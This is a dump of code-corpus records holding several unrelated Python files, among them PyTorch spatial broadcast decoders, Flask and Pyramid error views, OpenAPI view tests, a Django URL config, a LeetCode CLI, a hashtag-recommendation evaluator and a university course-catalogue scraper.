# add all plugins to grafical start\n try:\n from .. import plugins\n for plugin in plugins._plugins:\n MainMenu.addComponent(plugin)\n except:\n import warnings\n warnings.warn(\"Loading Plugins Fail\")\n\n # Replace in Screen\n desktop_rect = QtGui.QDesktopWidget().screenGeometry()\n\n height = desktop_rect.height()\n width = desktop_rect.width()\n\n menu_width = 300\n menu_height = 180\n\n MainMenu.setGeometry(0, 0, menu_width, menu_height)\n\n plot_size = min(height-60-menu_height, width/2) - 50\n plot1.setGeometry(0, height-plot_size, plot_size, plot_size)\n plot2.setGeometry(width/2, height-plot_size, plot_size, plot_size)\n\n # start program\n app.exec_()\n","sub_path":"artview/scripts/standard.py","file_name":"standard.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"294730715","text":"#Numpy: Array doesnot support multidimensional, to use multidimensional, we need to use third party numpy.\r\n\r\nfrom numpy import*\r\n\r\n#In this type is optional, you can use or not\r\n\r\narr = array([1,2,3,4,5])\r\n\r\nprint(arr)\r\n\r\narr1 = array([1,2,3,4,5],int)\r\nprint(arr1)","sub_path":"103_Numpy.py","file_name":"103_Numpy.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"382495372","text":"import torch\nfrom torch import nn, eye\nfrom torch.nn import functional as F\nfrom torch.nn import LeakyReLU\n\n'''\nDepthwise-separable convolutional layer\n\n@author Meekail Zain\n'''\nclass depthwise_separable_conv(nn.Module):\n '''\n Constructs a depthwise-separable convolutional layer\n \n @param nin number of input channels\n @param nout number of output channels\n @param kpl kernels per layer\n @param kernel_size size of a kernel\n @param padding amount of zero padding\n '''\n def __init__(self, nin, nout, kpl=1, kernel_size=3, padding=0):\n super(depthwise_separable_conv, self).__init__()\n self.depthwise = nn.Conv2d(nin, nin * kpl, kernel_size=kernel_size, padding=padding, groups=nin)\n self.pointwise = nn.Conv2d(nin * kpl, nout, kernel_size=1)\n\n '''\n Applies the layer to an input x\n \n @param x the input\n @return the layer's output\n '''\n def forward(self, x):\n out = self.depthwise(x)\n out = self.pointwise(out)\n return out\n\n'''\nSpatial broadcast decoder for images with equal width and height\n\n@author Meekail Zain\n'''\nclass spatial_broadcast_decoder(nn.Module):\n '''\n Constructs spatial broadcast decoder\n \n @param input_length width of image\n @param device torch device for computations\n @param lsdim dimensionality of latent space\n @param kernel_size size of size-preserving kernel. Must be odd.\n @param channels list of output-channels for each of the four size-preserving convolutional layers\n '''\n def __init__(self,input_length,device,lsdim,kernel_size=3,channels=[64,64,64,64]):\n super(spatial_broadcast_decoder,self).__init__()\n self.input_length=input_length\n self.device=device\n self.lsdim=lsdim\n assert kernel_size%2==1, \"Kernel size must be odd\"\n padding=int((kernel_size-1)/2)\n #Size-Preserving Convolutions\n self.conv1 = nn.Conv2d(lsdim + 2, channels[0], kernel_size=kernel_size, padding=padding)\n self.conv2 = nn.Conv2d(channels[0], channels[1], kernel_size=kernel_size, padding=padding)\n self.conv3 = nn.Conv2d(channels[1], channels[2], kernel_size=kernel_size, padding=padding)\n self.conv4 = nn.Conv2d(channels[2], channels[3], kernel_size=kernel_size, padding=padding)\n self.conv5 = nn.Conv2d(channels[3], 1, 1)\n\n '''\n Applies the spatial broadcast decoder to a code z\n \n @param z the code to be decoded\n @return the decoding of z\n '''\n def forward(self,z):\n baseVector = z.view(-1, self.lsdim, 1, 1)\n base = baseVector.repeat(1,1,self.input_length,self.input_length)\n\n stepTensor = torch.linspace(-1, 1, self.input_length).to(self.device)\n\n xAxisVector = stepTensor.view(1,1,self.input_length,1)\n yAxisVector = stepTensor.view(1,1,1,self.input_length)\n\n xPlane = xAxisVector.repeat(z.shape[0],1,1,self.input_length)\n yPlane = yAxisVector.repeat(z.shape[0],1,self.input_length,1)\n\n base = torch.cat((xPlane, yPlane, base), 1) \n\n x = F.leaky_relu(self.conv1(base))\n x = F.leaky_relu(self.conv2(x))\n x = F.leaky_relu(self.conv3(x))\n x = F.leaky_relu(self.conv4(x))\n x = F.leaky_relu(self.conv5(x))\n\n return x\n \n'''\nSpatial Broadcast Decoder for images of equal width and height with Batch Normalization\nNote that batch normalization is unstable as of 9/25/2019\n\n@param input_length \n@author Quinn Wyner\n'''\nclass spatial_broadcast_decoder_batchnorm(nn.Module):\n '''\n Constructs spatial broadcast decoder\n \n @param input_length width of image\n @param device torch device for computations\n @param lsdim dimensionality of latent space\n @param kernel_size size of size-preserving kernel. Must be odd.\n @param channels list of output-channels for each of the four size-preserving convolutional layers\n '''\n def __init__(self,input_length,device,lsdim,kernel_size=3,channels=[64,64,64,64]):\n super(spatial_broadcast_decoder_batchnorm,self).__init__()\n self.input_length=input_length\n self.device=device\n self.lsdim=lsdim\n assert kernel_size%2==1, \"Kernel size must be odd\"\n padding=int((kernel_size-1)/2)\n \n #Size-Preserving Convolutions\n \n #(lsdim + 2, input_length, input_length) -> (channels[0], input_length, input_length)\n self.conv1 = nn.Conv2d(lsdim + 2, channels[0], kernel_size=kernel_size, padding=padding)\n \n #(channels[0], input_length, input_length) -> (channels[0], input_length, input_length)\n self.batch1 = nn.BatchNorm2d(channels[0])\n \n #(channels[0], input_length, input_length) -> (channels[1], input_length, input_length)\n self.conv2 = nn.Conv2d(channels[0], channels[1], kernel_size=kernel_size, padding=padding)\n \n #(channels[1], input_length, input_length) -> (channels[1], input_length, input_length)\n self.batch2 = nn.BatchNorm2d(channels[1])\n \n #(channels[1], input_length, input_length) -> (channels[2], input_length, input_length)\n self.conv3 = nn.Conv2d(channels[1], channels[2], kernel_size=kernel_size, padding=padding)\n \n #(channels[2], input_length, input_length) -> (channels[2], input_length, input_length)\n self.batch3 = nn.BatchNorm2d(channels[2])\n \n #(channels[2], input_length, input_length) -> (channels[3], input_length, input_length)\n self.conv4 = nn.Conv2d(channels[2], channels[3], kernel_size=kernel_size, padding=padding)\n \n #(channels[3], input_length, input_length) -> (channels[3], input_length, input_length)\n self.batch4 = nn.BatchNorm2d(channels[3])\n \n #(channels[3], input_length, input_length) -> (1, input_length, input_length)\n self.conv5 = nn.Conv2d(channels[3], 1, 1)\n \n #(1, input_length, input_length) -> (1, input_length, input_length)\n self.batch5 = nn.BatchNorm2d(1)\n\n '''\n Applies the spatial broadcast decoder to a code z\n \n @param z the code to be decoded\n @return the decoding of z\n '''\n def forward(self,z):\n baseVector = z.view(-1, self.lsdim, 1, 1)\n base = baseVector.repeat(1,1,self.input_length,self.input_length)\n\n stepTensor = torch.linspace(-1, 1, self.input_length).to(self.device)\n\n xAxisVector = stepTensor.view(1,1,self.input_length,1)\n yAxisVector = stepTensor.view(1,1,1,self.input_length)\n\n xPlane = xAxisVector.repeat(z.shape[0],1,1,self.input_length)\n yPlane = yAxisVector.repeat(z.shape[0],1,self.input_length,1)\n\n base = torch.cat((xPlane, yPlane, base), 1) \n\n #(lsdim+2, input_length, input_length) -> (channels[0], input_length, input_length)\n x = F.leaky_relu(self.batch1(self.conv1(base)))\n \n #(channels[0], input_length, input_length) -> (channels[1], input_length, input_length)\n x = F.leaky_relu(self.batch2(self.conv2(x)))\n \n #(channels[1], input_length, input_length) -> (channels[2], input_length, input_length)\n x = F.leaky_relu(self.batch3(self.conv3(x)))\n \n #(channels[2], input_length, input_length) -> (channels[3], input_length, input_length)\n x = F.leaky_relu(self.batch4(self.conv4(x)))\n \n #(channels[3], input_length, input_length) -> (1, input_length, input_length)\n x = F.leaky_relu(self.batch5(self.conv5(x)))\n\n return x\n \n'''\nSpatial broadcast decoder for use on images that do not necessarily have the same height and width\n\n@author Quinn Wyner\n'''\nclass spatial_broadcast_decoder_asymmetric(nn.Module):\n '''\n Constructs a spatial broadcast decoder\n \n @param input_height height of an input image\n @param input_width width of an input image\n @param device torch device for computations\n @param lsdim dimensionality of the latent space\n @param kernel_size size of a convolutional layer's kernel\n @param channels list of output channels for each convolutional layer\n '''\n def __init__(self,input_height,input_width,device,lsdim,kernel_size=3,channels=[64,64,64,64]):\n super(spatial_broadcast_decoder_asymmetric,self).__init__()\n self.input_height = input_height\n self.input_width=input_width\n self.device=device\n self.lsdim=lsdim\n assert kernel_size%2==1, \"Kernel size must be odd\"\n padding=int((kernel_size-1)/2)\n #Size-Preserving Convolutions\n self.conv1 = nn.Conv2d(lsdim + 2, channels[0], kernel_size=kernel_size, padding=padding)\n self.conv2 = nn.Conv2d(channels[0], channels[1], kernel_size=kernel_size, padding=padding)\n self.conv3 = nn.Conv2d(channels[1], channels[2], kernel_size=kernel_size, padding=padding)\n self.conv4 = nn.Conv2d(channels[2], channels[3], kernel_size=kernel_size, padding=padding)\n self.conv5 = nn.Conv2d(channels[3], 1, 1)\n\n '''\n Decodes a given code z\n \n @param z code to be decoded\n @return the decoding of z\n '''\n def forward(self,z):\n baseVector = z.view(-1, self.lsdim, 1, 1)\n base = baseVector.repeat(1,1,self.input_height,self.input_width)\n\n heightStepTensor = torch.linspace(-1, 1, self.input_height).to(self.device)\n widthStepTensor = torch.linspace(-1, 1, self.input_width).to(self.device)\n heightAxisVector = heightStepTensor.view(1,1,self.input_height,1)\n widthAxisVector = widthStepTensor.view(1,1,1,self.input_width)\n\n xPlane = heightAxisVector.repeat(z.shape[0],1,1,self.input_width)\n yPlane = widthAxisVector.repeat(z.shape[0],1,self.input_height,1)\n\n base = torch.cat((xPlane, yPlane, base), 1) \n\n x = F.leaky_relu(self.conv1(base))\n x = F.leaky_relu(self.conv2(x))\n x = F.leaky_relu(self.conv3(x))\n x = F.leaky_relu(self.conv4(x))\n x = F.leaky_relu(self.conv5(x))\n\n return x\n\n\"\"\"\nResNet-style block that preserves dimensionality of input\n\n@author Quinn Wyner\n\"\"\"\nclass ResNetBlock(nn.Module):\n \n '''\n Constructs a ResNetBlock\n \n @param channels number of filters\n @param kernel_size size of a kernel; either an int or tuple of 2 ints\n @param numLayers number of convolutions to perform\n @param activationFunction function to perform on layers; either a lambda function or a tuple of lambda functions\n @param shortcutInterval number of layers between each shortcut\n '''\n def __init__(self, channels, kernel_size, numLayers, activationFunction, shortcutInterval):\n super(ResNetBlock, self).__init__()\n if type(activationFunction) == tuple and len(activationFunction) != numLayers:\n raise Exception(f'length of activation function must be same as numLayers {numLayers}, but is instead {len(activationFunction)}')\n self.activationFunction = activationFunction\n self.shortcutInterval = shortcutInterval\n if type(kernel_size) == int:\n if kernel_size % 2 == 0:\n raise Exception(f'kernel_size must exclusively have odd values, but has value {kernel_size}')\n return\n self.layers = nn.ModuleList([nn.Conv2d(channels, channels, kernel_size, padding=kernel_size//2) for i in range(numLayers)])\n\n else:\n for i in range(2):\n if kernel_size[i] % 2 == 0:\n raise Exception(f'kernel_size must exclusively have odd values, but has value {kernel_size[0]}')\n return\n self.layers = nn.ModuleList([nn.Conv2d(channels, channels, kernel_size, padding=(kernel_size[0]//2, kernel_size[1]//2)) for i in range(numLayers)])\n \n '''\n Applies the ResNetBlock to an input x\n \n @param x the input\n @return the output of the ResNetBlock\n '''\n def forward(self, x):\n shortcut = x\n z = x\n for i in range(len(self.layers)):\n shortcutLayer = ((i+1) % self.shortcutInterval == 0)\n z = self.layers[i](z)\n if shortcutLayer:\n z = z + shortcut\n if type(self.activationFunction) == tuple:\n z = self.activationFunction[i](z)\n else:\n z = self.activationFunction(z)\n if shortcutLayer:\n shortcut = z\n return z","sub_path":"utils/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":12318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"217866083","text":"\n\n#calss header\nclass _ALOHA():\n\tdef __init__(self,): \n\t\tself.name = \"ALOHA\"\n\t\tself.definitions = [u'a Hawaiian word that is used to welcome someone or to say goodbye: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'exclamations'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/exclamations/_aloha.py","file_name":"_aloha.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"574247023","text":"#!/usr/bin/env python\n\nimport sim\nimport sys\nimport pickleTraj\n\nLammpsTrjIn = sys.argv[1]\nLammpsTrjOut = sys.argv[2]\nN_mol = 500\nTrj = pickleTraj(LammpsTrjIn, Verbose = False)\nBoxL = Trj.FrameData['BoxL']\nMap = sim.atommap.PosMap()\nfor i in range(0, N_mol): Map += [sim.atommap.AtomMap(Atoms1 = i*3, Atom2= i)]\nAtomTypes = [1]*N_mol\nMappedTrj = sim.traj.Mapped(Trj, Map, AtomNames = AtomTypes)\n#sim.traj.Convert(MappedTrj, sim.traj.LammpsWrite, LammpsTrjOut, Verbose = True)\npickleTraj(LammpsTrjOut, Verbose = True) \n","sub_path":"c25_single_site_water/water_spce/conv_trj.py","file_name":"conv_trj.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"404531122","text":"def printLongValue():\n inFile = open(\"byteConverterIn.txt\")\n total = 0\n lines = inFile.readlines()\n if len(lines) != 8:\n print(\"8 bytes were expected, but\", len(lines) + \"bytes provided\")\n for i in range(8):\n total += int(lines[i])*256**i\n return total\n\n \n \n","sub_path":"eclipse-workspace/QvxReader/test-files/byteConverter.py","file_name":"byteConverter.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"100858860","text":"#Program to display temperature\nwhile True:\n\ta=input(\"Enter t to print the temperature in Bangalore: \")\n\tif(a==\"t\"):\n\t\timport random\n\t\tt=random.randint(25,31)\n\t\tprint(\"Bangalore temperature: \",t)\n\telse:\n\t\tprint(\"Bye\")\n\t\tbreak","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"644393520","text":"from pyramid import httpexceptions\nfrom pyramid.security import NO_PERMISSION_REQUIRED, forget\nfrom pyramid.view import view_config\nfrom requests.exceptions import HTTPError\n\nfrom cliquet import logger\nfrom cliquet.errors import http_error, ERRORS\nfrom cliquet.utils import reapply_cors\nfrom cliquet.views.errors import service_unavailable\n\n\n@view_config(context=HTTPError, permission=NO_PERMISSION_REQUIRED)\ndef error(context, request):\n \"\"\"Catch server errors and trace them.\"\"\"\n logger.error(context, exc_info=True)\n\n message = '%s %s: %s' % (context.response.status_code,\n context.response.reason,\n context.response.text)\n if context.response.status_code == 400:\n response = http_error(httpexceptions.HTTPBadRequest(),\n errno=ERRORS.INVALID_PARAMETERS,\n message=message)\n elif context.response.status_code == 401:\n response = http_error(httpexceptions.HTTPUnauthorized(),\n errno=ERRORS.INVALID_AUTH_TOKEN,\n message=message)\n # Forget the current user credentials.\n response.headers.extend(forget(request))\n elif context.response.status_code == 403:\n response = http_error(httpexceptions.HTTPForbidden(),\n errno=ERRORS.FORBIDDEN,\n message=message)\n elif context.response.status_code == 404:\n response = http_error(httpexceptions.HTTPNotFound(),\n errno=ERRORS.INVALID_RESOURCE_ID,\n message=message)\n else:\n response = service_unavailable(context, request)\n\n return reapply_cors(request, response)\n","sub_path":"syncto/views/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"306282167","text":"import pytest\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import make_response\n\nfrom openapi_core.contrib.flask.views import FlaskOpenAPIView\n\n\nclass TestFlaskOpenAPIView:\n view_response = None\n\n @pytest.fixture\n def spec(self, factory):\n specfile = \"contrib/flask/data/v3.0/flask_factory.yaml\"\n return factory.spec_from_file(specfile)\n\n @pytest.fixture\n def app(self):\n app = Flask(\"__main__\")\n app.config[\"DEBUG\"] = True\n app.config[\"TESTING\"] = True\n return app\n\n @pytest.fixture\n def client(self, app):\n with app.test_client() as client:\n with app.app_context():\n yield client\n\n @pytest.fixture\n def details_view_func(self, spec):\n outer = self\n\n class MyDetailsView(FlaskOpenAPIView):\n def get(self, id):\n return outer.view_response\n\n def post(self, id):\n return outer.view_response\n\n return MyDetailsView.as_view(\n \"browse_details\", spec, extra_media_type_deserializers={}\n )\n\n @pytest.fixture\n def list_view_func(self, spec):\n outer = self\n\n class MyListView(FlaskOpenAPIView):\n def get(self):\n return outer.view_response\n\n return MyListView.as_view(\n \"browse_list\", spec, extra_format_validators={}\n )\n\n @pytest.fixture(autouse=True)\n def view(self, app, details_view_func, list_view_func):\n app.add_url_rule(\"/browse//\", view_func=details_view_func)\n app.add_url_rule(\"/browse/\", view_func=list_view_func)\n\n def test_invalid_content_type(self, client):\n self.view_response = make_response(\"success\", 200)\n self.view_response.headers[\"X-Rate-Limit\"] = \"12\"\n\n result = client.get(\"/browse/12/\")\n\n assert result.status_code == 415\n assert result.json == {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 415,\n \"title\": (\n \"Content for the following mimetype not found: \"\n \"text/html. Valid mimetypes: ['application/json']\"\n ),\n }\n ]\n }\n\n def test_server_error(self, client):\n result = client.get(\"/browse/12/\", base_url=\"https://localhost\")\n\n expected_data = {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 400,\n \"title\": (\n \"Server not found for \"\n \"https://localhost/browse/{id}/\"\n ),\n }\n ]\n }\n assert result.status_code == 400\n assert result.json == expected_data\n\n def test_operation_error(self, client):\n result = client.post(\"/browse/12/\")\n\n expected_data = {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 405,\n \"title\": (\n \"Operation post not found for \"\n \"http://localhost/browse/{id}/\"\n ),\n }\n ]\n }\n assert result.status_code == 405\n assert result.json == expected_data\n\n def test_path_error(self, client):\n result = client.get(\"/browse/\")\n\n expected_data = {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 404,\n \"title\": (\n \"Path not found for \" \"http://localhost/browse/\"\n ),\n }\n ]\n }\n assert result.status_code == 404\n assert result.json == expected_data\n\n def test_endpoint_error(self, client):\n result = client.get(\"/browse/invalidparameter/\")\n\n expected_data = {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 400,\n \"title\": (\n \"Failed to cast value to integer type: \"\n \"invalidparameter\"\n ),\n }\n ]\n }\n assert result.status_code == 400\n assert result.json == expected_data\n\n def test_missing_required_header(self, client):\n self.view_response = jsonify(data=\"data\")\n\n result = client.get(\"/browse/12/\")\n\n expected_data = {\n \"errors\": [\n {\n \"class\": (\n \"\"\n ),\n \"status\": 400,\n \"title\": (\"Missing required header: X-Rate-Limit\"),\n }\n ]\n }\n assert result.status_code == 400\n assert result.json == expected_data\n\n def test_valid(self, client):\n self.view_response = jsonify(data=\"data\")\n self.view_response.headers[\"X-Rate-Limit\"] = \"12\"\n\n result = client.get(\"/browse/12/\")\n\n assert result.status_code == 200\n assert result.json == {\n \"data\": \"data\",\n }\n","sub_path":"tests/integration/contrib/flask/test_flask_views.py","file_name":"test_flask_views.py","file_ext":"py","file_size_in_byte":5950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"399193897","text":"from django.contrib import admin\nfrom django.conf.urls import include, url\n\nfrom rest_framework import routers\n\nfrom service.views import *\n\nrouter = routers.DefaultRouter(trailing_slash=False)\nrouter.register(r'user', UserViewSet, base_name='user')\nrouter.register(r'moduleritiro', ModuleRitiroViewSet, base_name='ritiro')\nrouter.register(\n r'modulepreventivo', ModulePreventivoViewSet, base_name='preventivo'\n)\nrouter.register(r'cer', CerViewSet, base_name='cer')\n\nadmin.autodiscover()\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^api/', include(router.urls)),\n url(r'search/(?P\\d+)$', searchpdf),\n url(r'retrivepdf/(?P\\d+)$', retrivepdf),\n url(r'^pdfritiro/(?P\\d+)', pdf_view_ritiro),\n url(r'^pdfpreventivo/(?P\\d+)', pdf_view_preventivo),\n url(r'^updatedb$', update_db_idgsu, name='update-db'),\n url(r'^api-token-auth', obtain_auth_token),\n]\n","sub_path":"irpiniarecuperi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"31254167","text":"import argparse\n\nfrom leezy.crawler import Problem\nfrom leezy.utils import CFG\n\nfrom leezy.errors import show_error_and_exit, LeezyError\n\n\ndef pull(args):\n for pid in expand_ids(args.ids):\n try:\n Problem(pid, args.context).pull()\n except LeezyError as e:\n show_error_and_exit(e)\n except Exception as e:\n print(f'Uncaught Exception: {e!r}')\n\n\ndef expand_ids(ids_arg):\n if len(ids_arg) == 1 and ids_arg[0].count('-') == 1:\n s, e = ids_arg[0].split('-')[:2]\n return list(range(int(s), int(e)+1))\n else:\n return ids_arg\n\n\ndef show(args):\n for pid in expand_ids(args.ids):\n try:\n print(Problem(pid).digest())\n except LeezyError as e:\n show_error_and_exit(e)\n except Exception as e:\n print(f'Uncaught Exception: {e!r}')\n\n\ndef config(args):\n kvs = CFG.open()\n if args.list:\n print('\\n'.join(map('='.join, CFG.fetch_all(kvs, ''))))\n elif args.add:\n CFG.store(kvs, args.add[0], args.add[1])\n elif args.unset:\n CFG.unset(kvs, args.unset[0])\n if args.add or args.unset:\n CFG.write(kvs)\n\n\nparser = argparse.ArgumentParser(prog='python -m leezy')\nsubs = parser.add_subparsers(\n title=\"commands\",\n description=\"use 'python -m leezy command -h' to see more\",\n metavar='')\n\npull_parser = subs.add_parser('pull', help='拉取题目到本地文件')\npull_parser.add_argument('ids', nargs='+', help=\"题目编号,多个使用空格分隔\")\npull_parser.add_argument('--context', choices=['tree', 'linked_list'],\n help=\"题目上下文,影响题目参数转换\")\npull_parser.set_defaults(func=pull)\n\nshow_parser = subs.add_parser('show', help='打印编号的题目')\nshow_parser.add_argument('ids', nargs='+', help=\"题目编号,多个使用空格分隔\")\nshow_parser.set_defaults(func=show)\n\nconfig_parser = subs.add_parser('config', help='全局配置')\ngroup = config_parser.add_mutually_exclusive_group()\ngroup.add_argument('--add', nargs=2, metavar='', help='name value')\ngroup.add_argument('--unset', nargs=1, metavar='', help='name')\ngroup.add_argument('--list', action='store_true')\nconfig_parser.set_defaults(func=config)\n\nargs = parser.parse_args()\nif len(args._get_kwargs()) + len(args._get_args()) == 0:\n parser.print_help()\nelse:\n args.func(args)\n","sub_path":"leezy/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"117838241","text":"import numpy as np\nimport torch\nfrom data import get_test_loader\nfrom evaluation import encode_data\nfrom fasttext import load_model\nfrom gensim.models import KeyedVectors as KV\nfrom json import loads\nfrom model import VSE\n\n\ndef evaluation(y_true, y_pred, top_K):\n acc_count = 0\n precision_K = []\n recall_K = []\n f1_K = []\n\n for i in range(y_pred.shape[0]):\n top_indices = y_pred[i].argsort()[-top_K:]\n if np.sum(y_true[i, top_indices]) >= 1:\n acc_count += 1\n p = np.sum(y_true[i, top_indices]) / top_K\n r = np.sum(y_true[i, top_indices]) / np.sum(y_true[i, :])\n precision_K.append(p)\n recall_K.append(r)\n if p != 0 or r != 0:\n f1_K.append(2 * p * r / (p + r))\n else:\n f1_K.append(0)\n\n acc_K = acc_count * 1.0 / y_pred.shape[0]\n\n return acc_K, np.mean(np.array(precision_K)), \\\n np.mean(np.array(recall_K)), np.mean(np.array(f1_K))\n\n\ndef all_hashtags(model, word_model, training_filename, test_filename,\n on_gpu=False):\n hashtags, hashtag_embeddings, num_tweets = {}, [], 0\n\n for filename in [training_filename, test_filename]:\n with open(filename, \"r\") as file:\n with torch.no_grad():\n for line in file:\n tweet = loads(line)\n\n if \"end_date\" not in tweet:\n num_tweets += 1 if filename == test_filename else 0\n\n for hashtag in tweet[\"hashtags\"].split():\n if hashtag not in hashtags:\n hashtags[hashtag] = len(hashtags)\n\n if filename == training_filename:\n w_emb = torch.tensor([word_model[hashtag]])\n w_emb = w_emb.cuda() if on_gpu else w_emb\n ht_emb = model.ht_enc([w_emb])\n\n if on_gpu:\n ht_emb = ht_emb.clone().detach().cpu()\n\n hashtag_embeddings.append(ht_emb)\n\n hashtag_embeddings = torch.stack(hashtag_embeddings, dim=0).squeeze(1)\n y_test = np.zeros((num_tweets, len(hashtags)), dtype=np.int8)\n\n with open(test_filename, \"r\") as file:\n index = 0\n\n for line in file:\n tweet = loads(line)\n\n if \"end_date\" not in tweet:\n for hashtag in tweet[\"hashtags\"].split():\n y_test[index, hashtags[hashtag]] = 1\n\n index += 1\n\n if on_gpu:\n hashtag_embeddings = hashtag_embeddings.data.cpu().numpy().copy()\n else:\n hashtag_embeddings = hashtag_embeddings.data.numpy().copy()\n\n return hashtag_embeddings, y_test\n\n\ndef format_result(result, decimal_places=2):\n return int(result * 100 ** max(decimal_places, 0)) / 100\n\n\nif __name__ == \"__main__\":\n model_path = \"runs/runX/model_best.pth.tar\"\n on_gpu = torch.cuda.is_available()\n device = \"cpu\" if not on_gpu else \"cuda\"\n checkpoint = torch.load(model_path, map_location=torch.device(device))\n opt = checkpoint[\"opt\"]\n word_model = load_model(opt.text_model_path)\n graph_model = KV.load_word2vec_format(opt.graph_model_path)\n model = VSE(opt, word_model, graph_model)\n data_loader = get_test_loader(\"20-03-10\", 5000, word_model, graph_model,\n opt.precomp_images, opt.batch_size,\n opt.workers, opt)\n\n model.load_state_dict(checkpoint[\"model\"])\n\n components = [\"image\", \"text\", \"hashtags\", \"user\", \"location\", \"time\"]\n component_index = dict([(c, i) for i, c in enumerate(components)])\n components = [c for c in opt.components.split(\",\") if c != \"hashtags\"]\n embeddings = encode_data(model, data_loader, components, component_index,\n on_gpu=on_gpu)\n hashtag_embeddings, y_test = all_hashtags(model, word_model,\n \"data/20-03-01_100000.data\",\n \"data/20-03-10_5000.data\",\n on_gpu=on_gpu)\n y_pred = []\n\n for i in range(len(data_loader.dataset)):\n scores = []\n\n for embedding_array in embeddings:\n scores.append(np.dot(embedding_array[i], hashtag_embeddings.T))\n\n if opt.max_similarity:\n y_pred.append(np.max(scores, axis=0))\n else:\n y_pred.append(np.sum(scores, axis=0))\n\n y_pred = np.array(y_pred)\n\n print(\"k\\tAccuracy\\tPrecision\\tRecall\\t\\tF1\")\n\n for k in opt.k_vals:\n acc_K, precision_K, recall_K, f1_K = evaluation(y_test, y_pred, k)\n print(\"{}\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\".format(k, format_result(acc_K),\n format_result(precision_K),\n format_result(recall_K),\n format_result(f1_K)))\n","sub_path":"hashtag_recommendation.py","file_name":"hashtag_recommendation.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"153209087","text":"from lxml import html\nfrom lxml import etree\nimport requests\nimport re\nimport json\n\n\ntabs = []\ndef parse_course(href):\n course_page = requests.get('http://rabi.phys.virginia.edu/mySIS/CS2/'+href)\n\n tree = html.fromstring(course_page.content)\n\n tables = tree.xpath('//table/tr')\n CourseNum = \"\"\n CourseName = \"\"\n for table in tables:\n if (table.xpath('./td[@class=\"CourseNum\"]') ):\n info = table.xpath('./td[@class=\"CourseNum\"]/span/text()')[0].split()\n CourseMn = info[0]\n CourseNum = info[1]\n CourseName = table.xpath('./td[@class=\"CourseName\"]/text()')[0]\n # print(CourseNum)\n # print(CourseName)\n\n # if (table.xpath('./td[@align=\"right\"]')):\n if (table.xpath('./td/strong')):\n if (table.xpath('./td/strong')[0].text == \"Lecture\"):\n tab = {}\n tab[\"model\"] = \"api.Course\"\n fields = {}\n fields[\"mnemonic\"] = CourseMn\n fields[\"number\"] = CourseNum\n fields[\"title\"] = CourseName\n fields[\"id\"] = int(table.xpath('./td')[0].xpath('./a[last()]/text()')[0])\n if (table.xpath('./td/a/strong')):\n fields[\"website\"] = table.xpath('./td/a/@href')[0]\n fields[\"section\"] = table.xpath('./td')[1].text\n fields[\"meet_time\"] = table.xpath('./td')[6].text\n fields[\"location\"] = table.xpath('./td')[7].text\n\n instructor = parse_instructor(table.xpath('./td')[5].xpath('./strong/span')[0].text)\n if (instructor != \"Staff\"):\n fields[\"instructor\"] = instructor #escape the staff case\n else:\n continue\n tab[\"fields\"] = fields\n # print(tab)\n tabs.append(tab)\n\ninstructors = set()\nins = []\ndef parse_instructor(name):\n instructor_page = requests.get('http://rabi.phys.virginia.edu/mySIS/CS2/ldap.php?Name='+name)\n\n content = instructor_page.text\n match = re.findall(r'([\\w\\.-]+)@virginia\\.edu', content, re.IGNORECASE)\n if (match):\n id = match[0]\n if not(id in instructors):\n tab = {}\n tab[\"model\"] = \"api.Instructor\"\n fields = {}\n info = name.split()\n fields[\"first_name\"] = info[0]\n fields[\"last_name\"] = info[1]\n fields[\"id\"] = match[0]\n fields[\"username\"] = match[0]\n fields[\"password\"] = \"\"\n tab[\"fields\"] = fields\n # print(tab)\n ins.append(tab)\n instructors.add(id)\n return id\n else:\n return \"Staff\"\n\n# # Uncomment to load course in all departments\n# catalog_page = requests.get('http://rabi.phys.virginia.edu/mySIS/CS2/')\n# tree = html.fromstring(catalog_page.content)\n#\n# catalog = tree.xpath('//td/a/@href')\n#\n# for item in catalog:\n# print(item)\n# # parse_course(item)\n\n# load course in CS departments 